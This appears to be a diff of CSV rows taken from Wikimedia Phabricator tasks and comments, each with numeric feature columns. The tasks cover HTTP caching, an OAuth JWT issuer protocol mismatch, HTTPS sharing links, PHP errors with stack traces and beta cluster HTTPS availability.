+320892,action=raw should allow public HTTP caching where possible,"I can reproduce this on any WMF wiki (including *.beta.wmflabs.org, both logged in and logged out), but not on my private test wiki or on other public wikis like http://www.explainxkcd.com, where Cache-Control is set as requested by the parameters (or as the set default). So I guess it's Varnish that replaces the Cache-Control with ""Cache-Control:private, s-maxage=0, max-age=0, must-revalidate""",,,1407919959,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-47,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+71289,OAuth does not set correct JWT issuer when accessing over HTTPS,"I am accessing OAuth over HTTPS (https://www.mediawiki.org), but the issuer (iss field) I am getting back from the service says http://www.mediawiki.org (no HTTPS). Because of this verification fails.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1407492180,1676417158.0,PHID-USER-m2xiute3l4kwb26dyrp7,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-65frrvpzvit7upklaj5l,task_description,declined,True,c3,1,False,False,False,-47,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+2069602,OAuth does not set correct JWT issuer when accessing over HTTPS,Bug from the era before TLS was basically required to operate a website. Certainly this does not effect Wikimedia wikis anymore.,,,1676417158,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,3,True,,,397,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+820604,OAuth does not set correct JWT issuer when accessing over HTTPS,Does not affect Wikimedia sites anymore since it is not possible for the access method and the canonical server URL to have different protocols.,,,1488864256,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,3,True,,,87,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+312618,OAuth does not set correct JWT issuer when accessing over HTTPS,"(In reply to Chris Steipp from comment #1)
+> If we use $wgServer, you have the same
+> problem that you can't match the protocol.
+
+wfExpandUrl( $wgServer, PROTO_CURRENT ) maybe?",,,1407529004,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,True,,,-47,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+312614,OAuth does not set correct JWT issuer when accessing over HTTPS,"Hm, maybe we could just require anyone using OAuth to use HTTPS at all times? OAuth should simply be declined without HTTPS? There is really no need for HTTP for APIs. (CPU ought not be an excuse.)
+
+(For other installations other could decide on configuration and deal with correctly setting wgCanonicalServer.)",,,1407518980,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,False,,,-47,True,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+312609,OAuth does not set correct JWT issuer when accessing over HTTPS,"(In reply to Mitar from comment #2)
+> Then maybe MediaWiki (https://www.mediawiki.org/wiki/MediaWiki) has a wrong
+> $wgCanonicalServer setting. Because if you open http://www.mediawiki.org it
+> redirects to HTTPS. So it seems https://www.mediawiki.org is the canonical
+> URL for the site.
+
+www.mediawiki.org has $wgCanonicalServer set to ""http://www.mediawiki.org"". If you're logged in, you probably have the force HTTPS cookie which is causing the redirect.
+
+But yeah, I prefer you *DO* use https when calling /identify, just to preserve your user's privacy, if nothing else. So the in the preferred case, there will be a missmatch, which isn't great design I admin. We could just set https:// always, to encourage Consumer to use it too.. but that seems a little evil too.
+
+> Server name could not be influenced by an attacker (if yes, you have an
+> error in your server configuration)? But http host yes. But server name does
+> not contain the protocol anyway, no?
+
+I think I've seen the host header used when apache used * as the vhost... but yeah, as you point out that doesn't include protocol, so back to the same problem.
+
+> You could use $_SERVER[""HTTPS""]:
+> https://stackoverflow.com/questions/1175096/how-to-find-out-if-you-are-using-
+> https-without-serverhttps
+> 
+> But then you will have to make sure that your forward proxy daemon properly
+> sets this (if you run MediaWiki behind it, what you do at mediawiki.org it
+> seems).
+
+$request->getProtocol(). You've been away too long :)",,,1407518267,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,True,,,-47,True,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+312603,OAuth does not set correct JWT issuer when accessing over HTTPS,"Hm, it seems it does not redirect to HTTPS on all my browsers. Maybe this is HTTPS Anywhere. :-)",,,1407517342,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,False,,,-47,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+312595,OAuth does not set correct JWT issuer when accessing over HTTPS,"Then maybe MediaWiki (https://www.mediawiki.org/wiki/MediaWiki) has a wrong $wgCanonicalServer setting. Because if you open http://www.mediawiki.org it redirects to HTTPS. So it seems https://www.mediawiki.org is the canonical URL for the site.
+
+Server name could not be influenced by an attacker (if yes, you have an error in your server configuration)? But http host yes. But server name does not contain the protocol anyway, no?
+
+You could use $_SERVER[""HTTPS""]: https://stackoverflow.com/questions/1175096/how-to-find-out-if-you-are-using-https-without-serverhttps
+
+But then you will have to make sure that your forward proxy daemon properly sets this (if you run MediaWiki behind it, what you do at mediawiki.org it seems).",,,1407517241,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+312587,OAuth does not set correct JWT issuer when accessing over HTTPS,"I set iss to $wgCanonicalServer, since that is the most stable and, canonical, representation of the server name.
+
+To get around the verification failure, you can either keep track of what the canonical server name is supposed to be (that's what I do in the php library I maintain- https://github.com/Stype/mwoauth-php). Or in Phabricator, we pull off the protocol and just compare the host portion of the url.
+
+We can't use $_SERVER['SERVER_NAME'] / $_SERVER['HTTP_HOST'], because those can be influenced by an attacker. If we use $wgServer, you have the same problem that you can't match the protocol.
+
+Probably the only realistic enhancement would be to use wgCanonicalServer, but update the protocol. That seems more confusing to me, but this issue has been reported (personally) to me enough times, that I'm open to changing it. Just not sure what the best answer is.",,,1407516765,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,True,,,-47,True,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+70983,social sharing links above comments/categories/tags and below post body should all use HTTPS,"social sharing links above comments/categories/tags and below post body on the page for an individual post should all use HTTPS (or at least protorel)
+
+now only google+ is HTTPS
+
+https://blog.wikimedia.org/2014/07/31/introducing-the-new-blog/ says:
+> <div class=""socials"">
+>       <span class=""label"">Share</span>
+>       <a href=""http://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fblog.wikimedia.org%2F2014%2F07%2F31%2Fintroducing-the-new-blog%2F"" class=""fb"" target=""_blank"">facebook</a>
+>       <a href=""https://plus.google.com/share?url=https%3A%2F%2Fblog.wikimedia.org%2F2014%2F07%2F31%2Fintroducing-the-new-blog%2F"" class=""gp"" target=""_blank"">google plus</a>
+>       <a href=""http://twitter.com/intent/tweet?text=Introducing+the+new+blog%3A+a+place+for+movement%26nbsp%3Bnews+-+https%3A%2F%2Fblog.wikimedia.org%2F2014%2F07%2F31%2Fintroducing-the-new-blog%2F"" class=""tw"" target=""_blank"">twitter</a>
+> </div>
+
+Also, the more generic links (upper right corner of the page; that don't vary from post to post and they appear on the root path too) all should be made HTTPS as well. (none are now, not even google+)
+
+Twitter on individual blog comments should be removed or made HTTPS.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1406862060,1419200379.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-TASK-vgdysfpt4t74oa3ip5zn,task_description,resolved,True,c3,1,False,False,True,-48,True,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,1,1
+391933,social sharing links above comments/categories/tags and below post body should all use HTTPS,"I just changed the post-specific links, too (for Facebook and Twitter).",,,1419200379,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-vgdysfpt4t74oa3ip5zn,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+309229,social sharing links above comments/categories/tags and below post body should all use HTTPS,Updated the generic links. Will look into the rest later.,,,1406883469,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-vgdysfpt4t74oa3ip5zn,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+70739,Notice: Undefined index: HTTP_USER_AGENT in SecureSessions.hooks.php on line 205,"Notice: Undefined index: HTTP_USER_AGENT in /srv/vagrant/mediawiki/extensions/SecureSessions/SecureSessions.hooks.php on line 205
+
+Call Stack:
+    0.0007     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
+   21.8136   50828840   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
+   21.8136   50841328   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
+  105.9377  272526968   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
+  105.9637  272844320   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
+  106.4795  272846576   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+ 2089.9649  470147104   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+ 2097.2738  471151880   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
+ 2097.2738  471151880   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
+ 2097.2825  471151544  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
+ 2097.2826  471151544  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
+ 2097.2828  471152496  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
+ 2097.2828  471169216  13. ApiParseTest->setUp() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:835
+ 2100.8517  471540208  14. ApiTestCase->doLogin() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiParseTest.php:14
+ 2100.8704  471658024  15. ApiTestCase->doApiRequest() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:168
+ 2100.8712  471761776  16. ApiMain->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:99
+ 2100.8712  471761840  17. ApiMain->executeAction() /srv/vagrant/mediawiki/includes/api/ApiMain.php:332
+ 2100.8821  471767936  18. ApiLogin->execute() /srv/vagrant/mediawiki/includes/api/ApiMain.php:907
+ 2100.8891  471776752  19. User->setCookies() /srv/vagrant/mediawiki/includes/api/ApiLogin.php:87
+ 2100.8891  471778352  20. wfRunHooks() /srv/vagrant/mediawiki/includes/User.php:3349
+ 2100.8891  471778400  21. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
+ 2100.8891  471780392  22. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
+ 2100.8891  471780912  23. SecureSessions->onUserSetCookies() /srv/vagrant/mediawiki/includes/Hooks.php:207
+
+--------------------------
+**Version**: master
+**Severity**: normal",Low,25.0,1406560860,1676690655.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ruuauq5ftcywm5f5voe7,task_description,declined,True,c3,1,True,False,False,-49,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+2071831,Notice: Undefined index: HTTP_USER_AGENT in SecureSessions.hooks.php on line 205,Per T327583,,,1676690655,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ruuauq5ftcywm5f5voe7,task_subcomment,,True,c3,3,True,,,398,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+70718,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"Master and defaults.
+
+Fatal error: Call to undefined method GoogleLoginAuth::connect() in /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaLdapConnection.php on line 21
+
+Call Stack:
+    0.0006     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
+   19.6050   51193712   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
+   19.6050   51206200   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
+  127.4282  273527048   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
+  127.4901  273844016   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
+  128.2664  273846256   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+ 1755.9192  482218944   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+ 1756.7843  484017912   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
+ 1756.7843  484017912   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
+ 1756.7912  484018080  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
+ 1756.7913  484018080  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
+ 1756.7915  484019024  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
+ 1756.9257  484499320  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
+ 1756.9258  484500112  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
+ 1756.9258  484500448  15. ApiOptionsTest->testReset() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
+ 1756.9259  484505640  16. ApiOptionsTest->executeQuery() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:233
+ 1756.9260  484505904  17. ApiOptions->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:151
+ 1756.9545  484513320  18. Preferences::getPreferences() /srv/vagrant/mediawiki/includes/api/ApiOptions.php:75
+ 1760.1648  485029280  19. wfRunHooks() /srv/vagrant/mediawiki/includes/Preferences.php:99
+ 1760.1648  485029344  20. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
+ 1765.5002  486711944  21. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
+ 1765.5002  486712528  22. OpenStackNovaUser::novaUserPreferences() /srv/vagrant/mediawiki/includes/Hooks.php:207
+ 1765.5102  486714152  23. OpenStackNovaUser->__construct() /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaUser.php:698
+ 1765.5188  486718968  24. OpenStackNovaLdapConnection::connect() /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaUser.php:21
+
+--------------------------
+**Version**: master
+**Severity**: normal",Low,25.0,1406538360,1461500029.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-glki7nmhveobibcwb6j4,task_description,declined,True,c3,1,True,False,False,-49,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+650787,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"The OSM extension depends upon the LdapAuth extension being used as the AuthPlugin implementation, trying to use it with something else like GoogleLogin is going to fail.",,,1461546343,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+650786,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"It's a practically abandoned extension, with a *ton* more tech debt than is mentioned here (there's a lot of error suppression in there). I don't really think we'll put any effort into anything that isn't just a way to help us migrate off.",,,1461545614,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,1,1,0,1,1,1,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0
+650696,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"Seems to fail earlier now:
+```
+16:26:31 Fatal error: Class undefined: LdapAuthenticationPlugin in /mnt/jenkins-workspace/workspace/mediawiki-extensions-hhvm/src/extensions/OpenStackManager/OpenStackManager.php on line 69
+```
+https://integration.wikimedia.org/ci/job/mediawiki-extensions-hhvm/59878/console",,,1461515435,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+650692,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,I see little chances that this self-fixed itself and making our code hard to test is not nice.,,,1461515031,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+650610,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"Since this is about 2y old and no information / actions have been performed since, am closing this. Re-open if this is still a problem.",,,1461500029,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+70387,Beta Cluster no longer listens for HTTPS,"https://en.wikipedia.beta.wmflabs.org/ no longer responds at all. 
+
+While we have never had a valid cert for beta, we did in the past answer HTTPS URLS, forcing the user to proceed manually over a security warning.  As of sometime fairly recently, we no longer listen on HTTPS at all.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48501
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63538",Low,25.0,1406050560,1457835432.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_description,duplicate,True,c3,1,False,False,False,-50,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+549058,Beta Cluster no longer listens for HTTPS,"Using a real trusted certificate is covered in T50501, T75919 and T97593.",,,1445355579,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+549056,Beta Cluster no longer listens for HTTPS,"Change 247587 had a related patch set uploaded (by Alex Monk):
+Change star.wmflabs.org to beta certificate
+
+[[https://gerrit.wikimedia.org/r/247587]]
+",,,1445355489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+548986,Beta Cluster no longer listens for HTTPS,"I made a certificate for beta on deployment-puppetmaster and replaced the star.wmflabs.org cert with it there (also had a mess around with some other settings to get it to work), then went and changed all the cache instances so they could get the new cert, start nginx and get puppet working again. We probably want to separate that cert from star.wmflabs.org so we can get the patch into the operations/puppet repository.",,,1445350446,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+468655,Beta Cluster no longer listens for HTTPS,">>! In T70387#1335629, @Dzahn wrote:
+> 14:21 < kaldari> mutante, Coren: The network doesn't matter, but the browser does. In Firefox http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page tries to redirect to  the https site and fails. In Safari http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page loads fine, but   https://en.wikipedia.beta.wmflabs.org/wiki/Main_Page fails. I don't have any special Firefox extensions
+
